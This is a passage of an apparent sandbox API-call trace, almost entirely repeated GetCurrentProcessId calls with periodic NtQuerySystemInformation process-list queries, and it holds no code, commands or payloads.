GetCurrentProcessId () returned 0xbf4 [0172.201] GetCurrentProcessId () returned 0xbf4 [0172.201] GetCurrentProcessId () returned 0xbf4 [0172.201] GetCurrentProcessId () returned 0xbf4 [0172.201] GetCurrentProcessId () returned 0xbf4 [0172.201] GetCurrentProcessId () returned 0xbf4 [0172.201] GetCurrentProcessId () returned 0xbf4 [0172.201] GetCurrentProcessId () returned 0xbf4 [0172.201] GetCurrentProcessId () returned 0xbf4 [0172.201] GetCurrentProcessId () returned 0xbf4 [0172.201] GetCurrentProcessId () returned 0xbf4 [0172.201] GetCurrentProcessId () returned 0xbf4 [0172.201] GetCurrentProcessId () returned 0xbf4 [0172.201] GetCurrentProcessId () returned 0xbf4 [0172.201] GetCurrentProcessId () returned 0xbf4 [0172.201] GetCurrentProcessId () returned 0xbf4 [0172.201] GetCurrentProcessId () returned 0xbf4 [0172.201] GetCurrentProcessId () returned 0xbf4 [0172.202] GetCurrentProcessId () returned 0xbf4 [0172.202] GetCurrentProcessId () returned 0xbf4 [0172.202] GetCurrentProcessId () returned 0xbf4 [0172.202] GetCurrentProcessId () returned 0xbf4 [0172.202] GetCurrentProcessId () returned 0xbf4 [0172.202] GetCurrentProcessId () returned 0xbf4 [0172.202] GetCurrentProcessId () returned 0xbf4 [0172.202] GetCurrentProcessId () returned 0xbf4 [0172.202] GetCurrentProcessId () returned 0xbf4 [0172.202] GetCurrentProcessId () returned 0xbf4 [0172.202] GetCurrentProcessId () returned 0xbf4 [0172.202] GetCurrentProcessId () returned 0xbf4 [0172.202] GetCurrentProcessId () returned 0xbf4 [0172.202] GetCurrentProcessId () returned 0xbf4 [0172.202] GetCurrentProcessId () returned 0xbf4 [0172.202] GetCurrentProcessId () returned 0xbf4 [0172.202] GetCurrentProcessId () returned 0xbf4 [0172.202] GetCurrentProcessId () returned 0xbf4 [0172.202] GetCurrentProcessId () returned 0xbf4 [0172.202] GetCurrentProcessId () returned 0xbf4 [0172.202] GetCurrentProcessId () returned 0xbf4 [0172.202] GetCurrentProcessId () returned 0xbf4 [0172.202] GetCurrentProcessId () returned 0xbf4 [0172.202] GetCurrentProcessId () returned 0xbf4 [0172.202] GetCurrentProcessId () returned 0xbf4 [0172.815] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1bf20) returned 0x0 [0172.832] GetCurrentProcessId () returned 0xbf4 [0172.832] GetCurrentProcessId () returned 0xbf4 [0172.832] GetCurrentProcessId () returned 0xbf4 [0172.832] GetCurrentProcessId () returned 0xbf4 [0172.832] GetCurrentProcessId () returned 0xbf4 [0172.832] GetCurrentProcessId () returned 0xbf4 [0172.832] GetCurrentProcessId () returned 0xbf4 [0172.832] GetCurrentProcessId () returned 0xbf4 [0172.832] GetCurrentProcessId () returned 0xbf4 [0172.832] GetCurrentProcessId () returned 0xbf4 [0172.832] GetCurrentProcessId () returned 0xbf4 [0172.832] GetCurrentProcessId () returned 0xbf4 [0172.832] GetCurrentProcessId () returned 0xbf4 [0172.832] GetCurrentProcessId () returned 0xbf4 [0172.832] GetCurrentProcessId () returned 0xbf4 [0172.832] GetCurrentProcessId () returned 0xbf4 [0172.832] GetCurrentProcessId () returned 0xbf4 [0172.832] GetCurrentProcessId () returned 0xbf4 [0172.832] GetCurrentProcessId () returned 0xbf4 [0172.833] GetCurrentProcessId () returned 0xbf4 [0172.833] GetCurrentProcessId () returned 0xbf4 [0172.833] GetCurrentProcessId () returned 0xbf4 [0172.833] GetCurrentProcessId () returned 0xbf4 [0172.833] GetCurrentProcessId () returned 0xbf4 [0172.833] GetCurrentProcessId () returned 0xbf4 [0172.833] GetCurrentProcessId () returned 0xbf4 [0172.833] GetCurrentProcessId () returned 0xbf4 [0172.833] GetCurrentProcessId () returned 0xbf4 [0172.833] GetCurrentProcessId () returned 0xbf4 [0172.833] GetCurrentProcessId () returned 0xbf4 [0172.833] GetCurrentProcessId () returned 0xbf4 [0172.833] GetCurrentProcessId () returned 0xbf4 [0172.833] GetCurrentProcessId () returned 0xbf4 [0172.833] GetCurrentProcessId () returned 0xbf4 [0172.833] GetCurrentProcessId () returned 0xbf4 [0172.833] GetCurrentProcessId () returned 0xbf4 [0172.833] GetCurrentProcessId () returned 0xbf4 [0172.833] GetCurrentProcessId () returned 0xbf4 [0172.833] GetCurrentProcessId () returned 0xbf4 [0172.833] GetCurrentProcessId () returned 0xbf4 [0172.833] GetCurrentProcessId () returned 0xbf4 [0172.833] GetCurrentProcessId () returned 0xbf4 [0172.833] GetCurrentProcessId () returned 0xbf4 [0172.833] GetCurrentProcessId () returned 0xbf4 [0172.833] GetCurrentProcessId () returned 0xbf4 [0172.833] GetCurrentProcessId () returned 0xbf4 [0172.834] GetCurrentProcessId () returned 0xbf4 [0172.834] GetCurrentProcessId () returned 0xbf4 [0172.834] GetCurrentProcessId () returned 0xbf4 [0172.834] GetCurrentProcessId () returned 0xbf4 [0172.834] GetCurrentProcessId () returned 0xbf4 [0172.834] GetCurrentProcessId () returned 0xbf4 [0172.834] GetCurrentProcessId () returned 0xbf4 [0172.834] GetCurrentProcessId () returned 0xbf4 [0172.834] GetCurrentProcessId () returned 0xbf4 [0172.834] GetCurrentProcessId () returned 0xbf4 [0172.834] GetCurrentProcessId () returned 0xbf4 [0172.834] GetCurrentProcessId () returned 0xbf4 [0172.834] GetCurrentProcessId () returned 0xbf4 [0172.834] GetCurrentProcessId () returned 0xbf4 [0172.834] GetCurrentProcessId () returned 0xbf4 [0172.834] GetCurrentProcessId () returned 0xbf4 [0172.834] GetCurrentProcessId () returned 0xbf4 [0172.834] GetCurrentProcessId () returned 0xbf4 [0172.834] GetCurrentProcessId () returned 0xbf4 [0172.834] GetCurrentProcessId () returned 0xbf4 [0172.834] GetCurrentProcessId () returned 0xbf4 [0172.834] GetCurrentProcessId () returned 0xbf4 [0172.834] GetCurrentProcessId () returned 0xbf4 [0172.834] GetCurrentProcessId () returned 0xbf4 [0172.834] GetCurrentProcessId () returned 0xbf4 [0172.834] GetCurrentProcessId () returned 0xbf4 [0172.834] GetCurrentProcessId () returned 0xbf4 [0172.834] GetCurrentProcessId () returned 0xbf4 [0172.835] GetCurrentProcessId () returned 0xbf4 [0172.835] GetCurrentProcessId () returned 0xbf4 [0172.835] GetCurrentProcessId () returned 0xbf4 [0172.835] GetCurrentProcessId () returned 0xbf4 [0172.835] GetCurrentProcessId () returned 0xbf4 [0172.835] GetCurrentProcessId () returned 0xbf4 [0172.835] GetCurrentProcessId () returned 0xbf4 [0172.835] GetCurrentProcessId () returned 0xbf4 [0172.835] GetCurrentProcessId () returned 0xbf4 [0172.835] GetCurrentProcessId () returned 0xbf4 [0172.835] GetCurrentProcessId () returned 0xbf4 [0172.835] GetCurrentProcessId () returned 0xbf4 [0172.835] GetCurrentProcessId () returned 0xbf4 [0172.835] GetCurrentProcessId () returned 0xbf4 [0172.835] GetCurrentProcessId () returned 0xbf4 [0172.835] GetCurrentProcessId () returned 0xbf4 [0172.835] GetCurrentProcessId () returned 0xbf4 [0172.835] GetCurrentProcessId () returned 0xbf4 [0172.835] GetCurrentProcessId () returned 0xbf4 [0172.835] GetCurrentProcessId () returned 0xbf4 [0172.835] GetCurrentProcessId () returned 0xbf4 [0172.835] GetCurrentProcessId () returned 0xbf4 [0172.835] GetCurrentProcessId () returned 0xbf4 [0172.835] GetCurrentProcessId () returned 0xbf4 [0172.835] GetCurrentProcessId () returned 0xbf4 [0172.835] GetCurrentProcessId () returned 0xbf4 [0172.835] GetCurrentProcessId () returned 0xbf4 [0172.835] GetCurrentProcessId () returned 0xbf4 [0172.836] GetCurrentProcessId () returned 0xbf4 [0172.836] GetCurrentProcessId () returned 0xbf4 [0172.836] GetCurrentProcessId () returned 0xbf4 [0173.339] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1bf70) returned 0x0 [0173.343] GetCurrentProcessId () returned 0xbf4 [0173.343] GetCurrentProcessId () returned 0xbf4 [0173.343] GetCurrentProcessId () returned 0xbf4 [0173.344] GetCurrentProcessId () returned 0xbf4 [0173.344] GetCurrentProcessId () returned 0xbf4 [0173.344] GetCurrentProcessId () returned 0xbf4 [0173.344] GetCurrentProcessId () returned 0xbf4 [0173.344] GetCurrentProcessId () returned 0xbf4 [0173.344] GetCurrentProcessId () returned 0xbf4 [0173.344] GetCurrentProcessId () returned 0xbf4 [0173.344] GetCurrentProcessId () returned 0xbf4 [0173.344] GetCurrentProcessId () returned 0xbf4 [0173.344] GetCurrentProcessId () returned 0xbf4 [0173.344] GetCurrentProcessId () returned 0xbf4 [0173.344] GetCurrentProcessId () returned 0xbf4 [0173.344] GetCurrentProcessId () returned 0xbf4 [0173.344] GetCurrentProcessId () returned 0xbf4 [0173.344] GetCurrentProcessId () returned 0xbf4 [0173.344] GetCurrentProcessId () returned 0xbf4 [0173.344] GetCurrentProcessId () returned 0xbf4 [0173.344] GetCurrentProcessId () returned 0xbf4 [0173.344] GetCurrentProcessId () returned 0xbf4 [0173.344] GetCurrentProcessId () returned 0xbf4 [0173.344] GetCurrentProcessId () returned 0xbf4 [0173.344] GetCurrentProcessId () returned 0xbf4 [0173.344] GetCurrentProcessId () returned 0xbf4 [0173.344] GetCurrentProcessId () returned 0xbf4 [0173.344] GetCurrentProcessId () returned 0xbf4 [0173.344] GetCurrentProcessId () returned 0xbf4 [0173.344] GetCurrentProcessId () returned 0xbf4 [0173.344] GetCurrentProcessId () returned 0xbf4 [0173.344] GetCurrentProcessId () returned 0xbf4 [0173.344] GetCurrentProcessId () returned 0xbf4 [0173.344] GetCurrentProcessId () returned 0xbf4 [0173.344] GetCurrentProcessId () returned 0xbf4 [0173.344] GetCurrentProcessId () returned 0xbf4 [0173.345] GetCurrentProcessId () returned 0xbf4 [0173.345] GetCurrentProcessId () returned 0xbf4 [0173.345] GetCurrentProcessId () returned 0xbf4 [0173.345] GetCurrentProcessId () returned 0xbf4 [0173.345] GetCurrentProcessId () returned 0xbf4 [0173.345] GetCurrentProcessId () returned 0xbf4 [0173.345] GetCurrentProcessId () returned 0xbf4 [0173.345] GetCurrentProcessId () returned 0xbf4 [0173.345] GetCurrentProcessId () returned 0xbf4 [0173.345] GetCurrentProcessId () returned 0xbf4 [0173.345] GetCurrentProcessId () returned 0xbf4 [0173.345] GetCurrentProcessId () returned 0xbf4 [0173.345] GetCurrentProcessId () returned 0xbf4 [0173.345] GetCurrentProcessId () returned 0xbf4 [0173.345] GetCurrentProcessId () returned 0xbf4 [0173.345] GetCurrentProcessId () returned 0xbf4 [0173.345] GetCurrentProcessId () returned 0xbf4 [0173.345] GetCurrentProcessId () returned 0xbf4 [0173.345] GetCurrentProcessId () returned 0xbf4 [0173.345] GetCurrentProcessId () returned 0xbf4 [0173.345] GetCurrentProcessId () returned 0xbf4 [0173.345] GetCurrentProcessId () returned 0xbf4 [0173.345] GetCurrentProcessId () returned 0xbf4 [0173.345] GetCurrentProcessId () returned 0xbf4 [0173.345] GetCurrentProcessId () returned 0xbf4 [0173.345] GetCurrentProcessId () returned 0xbf4 [0173.345] GetCurrentProcessId () returned 0xbf4 [0173.345] GetCurrentProcessId () returned 0xbf4 [0173.345] GetCurrentProcessId () returned 0xbf4 [0173.345] GetCurrentProcessId () returned 0xbf4 [0173.345] GetCurrentProcessId () returned 0xbf4 [0173.345] GetCurrentProcessId () returned 0xbf4 [0173.345] GetCurrentProcessId () returned 0xbf4 [0173.345] GetCurrentProcessId () returned 0xbf4 [0173.346] GetCurrentProcessId () returned 0xbf4 [0173.346] GetCurrentProcessId () returned 0xbf4 [0173.346] GetCurrentProcessId () returned 0xbf4 [0173.346] GetCurrentProcessId () returned 0xbf4 [0173.346] GetCurrentProcessId () returned 0xbf4 [0173.346] GetCurrentProcessId () returned 0xbf4 [0173.346] GetCurrentProcessId () returned 0xbf4 [0173.346] GetCurrentProcessId () returned 0xbf4 [0173.346] GetCurrentProcessId () returned 0xbf4 [0173.346] GetCurrentProcessId () returned 0xbf4 [0173.346] GetCurrentProcessId () returned 0xbf4 [0173.346] GetCurrentProcessId () returned 0xbf4 [0173.346] GetCurrentProcessId () returned 0xbf4 [0173.346] GetCurrentProcessId () returned 0xbf4 [0173.346] GetCurrentProcessId () returned 0xbf4 [0173.346] GetCurrentProcessId () returned 0xbf4 [0173.346] GetCurrentProcessId () returned 0xbf4 [0173.346] GetCurrentProcessId () returned 0xbf4 [0173.346] GetCurrentProcessId () returned 0xbf4 [0173.346] GetCurrentProcessId () returned 0xbf4 [0173.346] GetCurrentProcessId () returned 0xbf4 [0173.346] GetCurrentProcessId () returned 0xbf4 [0173.346] GetCurrentProcessId () returned 0xbf4 [0173.346] GetCurrentProcessId () returned 0xbf4 [0173.346] GetCurrentProcessId () returned 0xbf4 [0173.346] GetCurrentProcessId () returned 0xbf4 [0173.346] GetCurrentProcessId () returned 0xbf4 [0173.346] GetCurrentProcessId () returned 0xbf4 [0173.346] GetCurrentProcessId () returned 0xbf4 [0173.346] GetCurrentProcessId () returned 0xbf4 [0173.346] GetCurrentProcessId () returned 0xbf4 [0173.346] GetCurrentProcessId () returned 0xbf4 [0173.347] GetCurrentProcessId () returned 0xbf4 [0173.347] GetCurrentProcessId () returned 0xbf4 [0173.347] GetCurrentProcessId () returned 0xbf4 [0173.883] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1c060) returned 0x0 [0173.892] GetCurrentProcessId () returned 0xbf4 [0173.892] GetCurrentProcessId () returned 0xbf4 [0173.892] GetCurrentProcessId () returned 0xbf4 [0173.892] GetCurrentProcessId () returned 0xbf4 [0173.892] GetCurrentProcessId () returned 0xbf4 [0173.892] GetCurrentProcessId () returned 0xbf4 [0173.892] GetCurrentProcessId () returned 0xbf4 [0173.893] GetCurrentProcessId () returned 0xbf4 [0173.893] GetCurrentProcessId () returned 0xbf4 [0173.893] GetCurrentProcessId () returned 0xbf4 [0173.893] GetCurrentProcessId () returned 0xbf4 [0173.893] GetCurrentProcessId () returned 0xbf4 [0173.893] GetCurrentProcessId () returned 0xbf4 [0173.893] GetCurrentProcessId () returned 0xbf4 [0173.893] GetCurrentProcessId () returned 0xbf4 [0173.893] GetCurrentProcessId () returned 0xbf4 [0173.893] GetCurrentProcessId () returned 0xbf4 [0173.893] GetCurrentProcessId () returned 0xbf4 [0173.893] GetCurrentProcessId () returned 0xbf4 [0173.893] GetCurrentProcessId () returned 0xbf4 [0173.893] GetCurrentProcessId () returned 0xbf4 [0173.893] GetCurrentProcessId () returned 0xbf4 [0173.893] GetCurrentProcessId () returned 0xbf4 [0173.893] GetCurrentProcessId () returned 0xbf4 [0173.893] GetCurrentProcessId () returned 0xbf4 [0173.893] GetCurrentProcessId () returned 0xbf4 [0173.893] GetCurrentProcessId () returned 0xbf4 [0173.893] GetCurrentProcessId () returned 0xbf4 [0173.893] GetCurrentProcessId () returned 0xbf4 [0173.893] GetCurrentProcessId () returned 0xbf4 [0173.893] GetCurrentProcessId () returned 0xbf4 [0173.893] GetCurrentProcessId () returned 0xbf4 [0173.893] GetCurrentProcessId () returned 0xbf4 [0173.893] GetCurrentProcessId () returned 0xbf4 [0173.893] GetCurrentProcessId () returned 0xbf4 [0173.894] GetCurrentProcessId () returned 0xbf4 [0173.894] GetCurrentProcessId () returned 0xbf4 [0173.894] GetCurrentProcessId () returned 0xbf4 [0173.894] GetCurrentProcessId () returned 0xbf4 [0173.894] GetCurrentProcessId () returned 0xbf4 [0173.894] GetCurrentProcessId () returned 0xbf4 [0173.894] GetCurrentProcessId () returned 0xbf4 [0173.894] GetCurrentProcessId () returned 0xbf4 [0173.894] GetCurrentProcessId () returned 0xbf4 [0173.894] GetCurrentProcessId () returned 0xbf4 [0173.894] GetCurrentProcessId () returned 0xbf4 [0173.894] GetCurrentProcessId () returned 0xbf4 [0173.894] GetCurrentProcessId () returned 0xbf4 [0173.894] GetCurrentProcessId () returned 0xbf4 [0173.894] GetCurrentProcessId () returned 0xbf4 [0173.894] GetCurrentProcessId () returned 0xbf4 [0173.894] GetCurrentProcessId () returned 0xbf4 [0173.894] GetCurrentProcessId () returned 0xbf4 [0173.894] GetCurrentProcessId () returned 0xbf4 [0173.894] GetCurrentProcessId () returned 0xbf4 [0173.894] GetCurrentProcessId () returned 0xbf4 [0173.894] GetCurrentProcessId () returned 0xbf4 [0173.894] GetCurrentProcessId () returned 0xbf4 [0173.894] GetCurrentProcessId () returned 0xbf4 [0173.894] GetCurrentProcessId () returned 0xbf4 [0173.894] GetCurrentProcessId () returned 0xbf4 [0173.894] GetCurrentProcessId () returned 0xbf4 [0173.895] GetCurrentProcessId () returned 0xbf4 [0173.895] GetCurrentProcessId () returned 0xbf4 [0173.895] GetCurrentProcessId () returned 0xbf4 [0173.895] GetCurrentProcessId () returned 0xbf4 [0173.895] GetCurrentProcessId () returned 0xbf4 [0173.895] GetCurrentProcessId () returned 0xbf4 [0173.895] GetCurrentProcessId () returned 0xbf4 [0173.895] GetCurrentProcessId () returned 0xbf4 [0173.895] GetCurrentProcessId () returned 0xbf4 [0173.895] GetCurrentProcessId () returned 0xbf4 [0173.895] GetCurrentProcessId () returned 0xbf4 [0173.895] GetCurrentProcessId () returned 0xbf4 [0173.895] GetCurrentProcessId () returned 0xbf4 [0173.895] GetCurrentProcessId () returned 0xbf4 [0173.895] GetCurrentProcessId () returned 0xbf4 [0173.895] GetCurrentProcessId () returned 0xbf4 [0173.895] GetCurrentProcessId () returned 0xbf4 [0173.895] GetCurrentProcessId () returned 0xbf4 [0173.895] GetCurrentProcessId () returned 0xbf4 [0173.895] GetCurrentProcessId () returned 0xbf4 [0173.895] GetCurrentProcessId () returned 0xbf4 [0173.895] GetCurrentProcessId () returned 0xbf4 [0173.895] GetCurrentProcessId () returned 0xbf4 [0173.895] GetCurrentProcessId () returned 0xbf4 [0173.895] GetCurrentProcessId () returned 0xbf4 [0173.896] GetCurrentProcessId () returned 0xbf4 [0173.896] GetCurrentProcessId () returned 0xbf4 [0173.896] GetCurrentProcessId () returned 0xbf4 [0173.896] GetCurrentProcessId () returned 0xbf4 [0173.896] GetCurrentProcessId () returned 0xbf4 [0173.896] GetCurrentProcessId () returned 0xbf4 [0173.896] GetCurrentProcessId () returned 0xbf4 [0173.896] GetCurrentProcessId () returned 0xbf4 [0173.896] GetCurrentProcessId () returned 0xbf4 [0173.896] GetCurrentProcessId () returned 0xbf4 [0173.896] GetCurrentProcessId () returned 0xbf4 [0173.896] GetCurrentProcessId () returned 0xbf4 [0173.896] GetCurrentProcessId () returned 0xbf4 [0173.896] GetCurrentProcessId () returned 0xbf4 [0173.896] GetCurrentProcessId () returned 0xbf4 [0173.896] GetCurrentProcessId () returned 0xbf4 [0173.896] GetCurrentProcessId () returned 0xbf4 [0173.896] GetCurrentProcessId () returned 0xbf4 [0174.555] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1c2a8) returned 0x0 [0174.614] GetCurrentProcessId () returned 0xbf4 [0174.614] GetCurrentProcessId () returned 0xbf4 [0174.614] GetCurrentProcessId () returned 0xbf4 [0174.614] GetCurrentProcessId () returned 0xbf4 [0174.614] GetCurrentProcessId () returned 0xbf4 [0174.614] GetCurrentProcessId () returned 0xbf4 [0174.614] GetCurrentProcessId () returned 0xbf4 [0174.614] GetCurrentProcessId () returned 0xbf4 [0174.614] GetCurrentProcessId () returned 0xbf4 [0174.614] GetCurrentProcessId () returned 0xbf4 [0174.614] GetCurrentProcessId () returned 0xbf4 [0174.614] GetCurrentProcessId () returned 0xbf4 [0174.614] GetCurrentProcessId () returned 0xbf4 [0174.614] GetCurrentProcessId () returned 0xbf4 [0174.614] GetCurrentProcessId () returned 0xbf4 [0174.615] GetCurrentProcessId () returned 0xbf4 [0174.615] GetCurrentProcessId () returned 0xbf4 [0174.615] GetCurrentProcessId () returned 0xbf4 [0174.615] GetCurrentProcessId () returned 0xbf4 [0174.615] GetCurrentProcessId () returned 0xbf4 [0174.615] GetCurrentProcessId () returned 0xbf4 [0174.615] GetCurrentProcessId () returned 0xbf4 [0174.615] GetCurrentProcessId () returned 0xbf4 [0174.615] GetCurrentProcessId () returned 0xbf4 [0174.615] GetCurrentProcessId () returned 0xbf4 [0174.736] GetCurrentProcessId () returned 0xbf4 [0174.736] GetCurrentProcessId () returned 0xbf4 [0174.736] GetCurrentProcessId () returned 0xbf4 [0174.736] GetCurrentProcessId () returned 0xbf4 [0174.736] GetCurrentProcessId () returned 0xbf4 [0174.736] GetCurrentProcessId () returned 0xbf4 [0174.736] GetCurrentProcessId () returned 0xbf4 [0174.736] GetCurrentProcessId () returned 0xbf4 [0174.736] GetCurrentProcessId () returned 0xbf4 [0174.736] GetCurrentProcessId () returned 0xbf4 [0174.736] GetCurrentProcessId () returned 0xbf4 [0174.737] GetCurrentProcessId () returned 0xbf4 [0174.737] GetCurrentProcessId () returned 0xbf4 [0174.737] GetCurrentProcessId () returned 0xbf4 [0174.737] GetCurrentProcessId () returned 0xbf4 [0174.737] GetCurrentProcessId () returned 0xbf4 [0174.737] GetCurrentProcessId () returned 0xbf4 [0174.737] GetCurrentProcessId () returned 0xbf4 [0174.737] GetCurrentProcessId () returned 0xbf4 [0174.737] GetCurrentProcessId () returned 0xbf4 [0174.737] GetCurrentProcessId () returned 0xbf4 [0174.737] GetCurrentProcessId () returned 0xbf4 [0174.737] GetCurrentProcessId () returned 0xbf4 [0174.737] GetCurrentProcessId () returned 0xbf4 [0174.737] GetCurrentProcessId () returned 0xbf4 [0174.737] GetCurrentProcessId () returned 0xbf4 [0174.737] GetCurrentProcessId () returned 0xbf4 [0174.737] GetCurrentProcessId () returned 0xbf4 [0174.737] GetCurrentProcessId () returned 0xbf4 [0174.737] GetCurrentProcessId () returned 0xbf4 [0174.737] GetCurrentProcessId () returned 0xbf4 [0174.737] GetCurrentProcessId () returned 0xbf4 [0174.738] GetCurrentProcessId () returned 0xbf4 [0174.738] GetCurrentProcessId () returned 0xbf4 [0174.738] GetCurrentProcessId () returned 0xbf4 [0174.738] GetCurrentProcessId () returned 0xbf4 [0174.738] GetCurrentProcessId () returned 0xbf4 [0174.738] GetCurrentProcessId () returned 0xbf4 [0174.738] GetCurrentProcessId () returned 0xbf4 [0174.738] GetCurrentProcessId () returned 0xbf4 [0174.738] GetCurrentProcessId () returned 0xbf4 [0174.738] GetCurrentProcessId () returned 0xbf4 [0174.738] GetCurrentProcessId () returned 0xbf4 [0174.738] GetCurrentProcessId () returned 0xbf4 [0174.738] GetCurrentProcessId () returned 0xbf4 [0174.738] GetCurrentProcessId () returned 0xbf4 [0174.738] GetCurrentProcessId () returned 0xbf4 [0174.738] GetCurrentProcessId () returned 0xbf4 [0174.738] GetCurrentProcessId () returned 0xbf4 [0174.738] GetCurrentProcessId () returned 0xbf4 [0174.738] GetCurrentProcessId () returned 0xbf4 [0174.738] GetCurrentProcessId () returned 0xbf4 [0174.738] GetCurrentProcessId () returned 0xbf4 [0174.738] GetCurrentProcessId () returned 0xbf4 [0174.738] GetCurrentProcessId () returned 0xbf4 [0174.738] GetCurrentProcessId () returned 0xbf4 [0174.739] GetCurrentProcessId () returned 0xbf4 [0174.739] GetCurrentProcessId () returned 0xbf4 [0174.739] GetCurrentProcessId () returned 0xbf4 [0174.739] GetCurrentProcessId () returned 0xbf4 [0174.739] GetCurrentProcessId () returned 0xbf4 [0174.739] GetCurrentProcessId () returned 0xbf4 [0174.739] GetCurrentProcessId () returned 0xbf4 [0174.739] GetCurrentProcessId () returned 0xbf4 [0174.739] GetCurrentProcessId () returned 0xbf4 [0174.739] GetCurrentProcessId () returned 0xbf4 [0174.740] GetCurrentProcessId () returned 0xbf4 [0174.740] GetCurrentProcessId () returned 0xbf4 [0174.740] GetCurrentProcessId () returned 0xbf4 [0174.740] GetCurrentProcessId () returned 0xbf4 [0174.740] GetCurrentProcessId () returned 0xbf4 [0174.740] GetCurrentProcessId () returned 0xbf4 [0174.740] GetCurrentProcessId () returned 0xbf4 [0174.740] GetCurrentProcessId () returned 0xbf4 [0174.740] GetCurrentProcessId () returned 0xbf4 [0174.740] GetCurrentProcessId () returned 0xbf4 [0174.740] GetCurrentProcessId () returned 0xbf4 [0174.740] GetCurrentProcessId () returned 0xbf4 [0174.740] GetCurrentProcessId () returned 0xbf4 [0174.740] GetCurrentProcessId () returned 0xbf4 [0174.740] GetCurrentProcessId () returned 0xbf4 [0175.372] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1c4f0) returned 0x0 [0175.414] GetCurrentProcessId () returned 0xbf4 [0175.414] GetCurrentProcessId () returned 0xbf4 [0175.414] GetCurrentProcessId () returned 0xbf4 [0175.414] GetCurrentProcessId () returned 0xbf4 [0175.414] GetCurrentProcessId () returned 0xbf4 [0175.414] GetCurrentProcessId () returned 0xbf4 [0175.414] GetCurrentProcessId () returned 0xbf4 [0175.414] GetCurrentProcessId () returned 0xbf4 [0175.415] GetCurrentProcessId () returned 0xbf4 [0175.415] GetCurrentProcessId () returned 0xbf4 [0175.415] GetCurrentProcessId () returned 0xbf4 [0175.415] GetCurrentProcessId () returned 0xbf4 [0175.415] GetCurrentProcessId () returned 0xbf4 [0175.415] GetCurrentProcessId () returned 0xbf4 [0175.415] GetCurrentProcessId () returned 0xbf4 [0175.415] GetCurrentProcessId () returned 0xbf4 [0175.415] GetCurrentProcessId () returned 0xbf4 [0175.415] GetCurrentProcessId () returned 0xbf4 [0175.415] GetCurrentProcessId () returned 0xbf4 [0175.415] GetCurrentProcessId () returned 0xbf4 [0175.415] GetCurrentProcessId () returned 0xbf4 [0175.415] GetCurrentProcessId () returned 0xbf4 [0175.415] GetCurrentProcessId () returned 0xbf4 [0175.415] GetCurrentProcessId () returned 0xbf4 [0175.415] GetCurrentProcessId () returned 0xbf4 [0175.415] GetCurrentProcessId () returned 0xbf4 [0175.415] GetCurrentProcessId () returned 0xbf4 [0175.416] GetCurrentProcessId () returned 0xbf4 [0175.416] GetCurrentProcessId () returned 0xbf4 [0175.416] GetCurrentProcessId () returned 0xbf4 [0175.416] GetCurrentProcessId () returned 0xbf4 [0175.416] GetCurrentProcessId () returned 0xbf4 [0175.416] GetCurrentProcessId () returned 0xbf4 [0175.416] GetCurrentProcessId () returned 0xbf4 [0175.416] GetCurrentProcessId () returned 0xbf4 [0175.416] GetCurrentProcessId () returned 0xbf4 [0175.416] GetCurrentProcessId () returned 0xbf4 [0175.416] GetCurrentProcessId () returned 0xbf4 [0175.416] GetCurrentProcessId () returned 0xbf4 [0175.416] GetCurrentProcessId () returned 0xbf4 [0175.416] GetCurrentProcessId () returned 0xbf4 [0175.416] GetCurrentProcessId () returned 0xbf4 [0175.416] GetCurrentProcessId () returned 0xbf4 [0175.416] GetCurrentProcessId () returned 0xbf4 [0175.416] GetCurrentProcessId () returned 0xbf4 [0175.416] GetCurrentProcessId () returned 0xbf4 [0175.416] GetCurrentProcessId () returned 0xbf4 [0175.417] GetCurrentProcessId () returned 0xbf4 [0175.417] GetCurrentProcessId () returned 0xbf4 [0175.417] GetCurrentProcessId () returned 0xbf4 [0175.417] GetCurrentProcessId () returned 0xbf4 [0175.417] GetCurrentProcessId () returned 0xbf4 [0175.417] GetCurrentProcessId () returned 0xbf4 [0175.417] GetCurrentProcessId () returned 0xbf4 [0175.417] GetCurrentProcessId () returned 0xbf4 [0175.417] GetCurrentProcessId () returned 0xbf4 [0175.417] GetCurrentProcessId () returned 0xbf4 [0175.417] GetCurrentProcessId () returned 0xbf4 [0175.417] GetCurrentProcessId () returned 0xbf4 [0175.417] GetCurrentProcessId () returned 0xbf4 [0175.417] GetCurrentProcessId () returned 0xbf4 [0175.417] GetCurrentProcessId () returned 0xbf4 [0175.417] GetCurrentProcessId () returned 0xbf4 [0175.417] GetCurrentProcessId () returned 0xbf4 [0175.417] GetCurrentProcessId () returned 0xbf4 [0175.417] GetCurrentProcessId () returned 0xbf4 [0175.417] GetCurrentProcessId () returned 0xbf4 [0175.417] GetCurrentProcessId () returned 0xbf4 [0175.417] GetCurrentProcessId () returned 0xbf4 [0175.417] GetCurrentProcessId () returned 0xbf4 [0175.417] GetCurrentProcessId () returned 0xbf4 [0175.418] GetCurrentProcessId () returned 0xbf4 [0175.418] GetCurrentProcessId () returned 0xbf4 [0175.418] GetCurrentProcessId () returned 0xbf4 [0175.418] GetCurrentProcessId () returned 0xbf4 [0175.418] GetCurrentProcessId () returned 0xbf4 [0175.418] GetCurrentProcessId () returned 0xbf4 [0175.418] GetCurrentProcessId () returned 0xbf4 [0175.418] GetCurrentProcessId () returned 0xbf4 [0175.418] GetCurrentProcessId () returned 0xbf4 [0175.418] GetCurrentProcessId () returned 0xbf4 [0175.418] GetCurrentProcessId () returned 0xbf4 [0175.418] GetCurrentProcessId () returned 0xbf4 [0175.418] GetCurrentProcessId () returned 0xbf4 [0175.418] GetCurrentProcessId () returned 0xbf4 [0175.418] GetCurrentProcessId () returned 0xbf4 [0175.418] GetCurrentProcessId () returned 0xbf4 [0175.418] GetCurrentProcessId () returned 0xbf4 [0175.418] GetCurrentProcessId () returned 0xbf4 [0175.418] GetCurrentProcessId () returned 0xbf4 [0175.419] 